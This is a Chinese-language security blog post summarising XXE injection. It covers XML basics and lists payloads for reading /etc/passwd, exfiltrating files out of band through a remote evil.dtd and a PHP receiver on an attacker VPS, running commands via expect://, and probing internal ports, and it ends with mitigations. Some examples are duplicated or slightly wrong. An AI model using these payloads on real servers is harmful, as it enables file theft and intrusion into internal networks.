web类 | XXE漏洞总结

admin 2022年10月16日09:18:36评论72 views字数 3815阅读12分43秒阅读模式

XML外部实体注入简称XXE漏洞:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

1. XML基础知识

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

<?xml version=”1.0”>           //xml声明
<!DOCTYPE  note [<!ELEMENT note (to, from, heading, body)><!ELEMENT to   (#PCDATA)>                     //文档类型定义<!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body   (#PCDATA)>]>
<note><to>George</to><from>John</from>                                 //文档元素<heading>Reminder</heading><body>Don’t forget the meeting</body>

2. XXE漏洞原理

XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用;libxml2.9.1及以后,默认不再解析外部实体。

内部声明 DTD             <!DOCTYPE 根元素 [元素声明]>引用外部 DTD                 <!DOCTYPE 根元素 PBULIC "public_ID" "文件名">/或者<!DOCTYPE 根元素 SYSTEM "文件名">

在解析 XML 时,实体将会被替换成相应的引用内容,xml文档如下所示:

(1) 包含内部实体的 XML 文档

   <?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE c [       <!ENTITY copyright "Copyright xx.xx.xx">   ]>   <c>&copyright;</c>

(2) 包含外部实体的 XML 文档

   <?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE c [       <!ENTITY copyright SYSTEM "Copyright xx.xx.xx">   ]>   <c>&copyright;</c>

3. XXE漏洞利用

(1) XML 解析器解析外部实体时支持多种协议

libxml2filehttpftpPHPfilehttpftpphpcompress.zlibcompress.bzip2dataglobpharJavafilehttpftphttpsjarnetdocmailtogopher.NETfilehttpftphttps

(2) 不同解析器可能默认对于外部实体会有不同的处理规则,有些可能不会对外部实体进行解析:

PHPDOMSimpleXML.NETSystem.Xml.XmlDocumentSystem.Xml.XmlReader。 

对于XXE通常有两种利用方式:

1) 有回显XXE、

攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE c [      <!ENTITY file SYSTEM "file:///etc/passwd">  ]>

2) Blind XXE、

服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义:

  <?xml version="1.0" encoding="utf-8"?>     <!DOCTYPE c [        <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"        %a;     ]> <c>&b;</c>

Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中。

4. XXE漏洞绕过

有回显的XXE漏洞利用:

方式一、 xml内容为:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>

web类 | XXE漏洞总结

方式二、

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY  % d  SYSTEM "http://ip/evil.dtd" >%d;]><root><name>&b;</name></root>

远程vps服务器 www/html文件下建立evil.dtd文件,文件内容如下:

<!ENTITY b SYSTEM "file:///etc/passwd">


web类 | XXE漏洞总结


无回显的XXE漏洞利用:

xml内容为:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY  % file  SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" ><!ENTITY  % remote  SYSTEM "http://ip/evil2.dtd" >%remote;%all;%send;]>

远程端vps上在www/html文件夹下放置两个文件一个为test.php文件用于接收信息,另一个为test.dtd  其中test.php代码如下:

<?php$file = "./test.txt";$content = base64_decode($_GET['file']); file_put_contents($file , $content);echo "n"; ?>

test.dtd中代码如下:

<!ENTITY % all"<!ENTITY &#x25; send SYSTEM 'http://ip/xxe/test.php?file=%file;'>">

web类 | XXE漏洞总结


0x04 XML造成的危害

(1) 读取任意文件 xml内容为:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>

web类 | XXE漏洞总结


(2) 执行系统命令 在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能执行系统命令;

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://ifconfig" >]><root><name>&xxe;</name></root>

(3) 探测内网端口

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]><root><name>&xxe;</name></root>

web类 | XXE漏洞总结

(4) 攻击内网网站

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]><root><name>&xxe;</name></root>

0x05 XML注入预防

1、预定义字符转义:

<       &lt; >       &gt; &       &amp; ‘      &apos; “      &quot;

2、过滤用户提交的XML数据,关键词:,SYSTEM和PUBLIC; 

3、禁用外部实体:libxml_disable_entity_loader(true);

原文始发于微信公众号(betasec):web类 | XXE漏洞总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月16日09:18:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web类 | XXE漏洞总结https://cn-sec.com/archives/1352231.html

发表评论

匿名网友 填写信息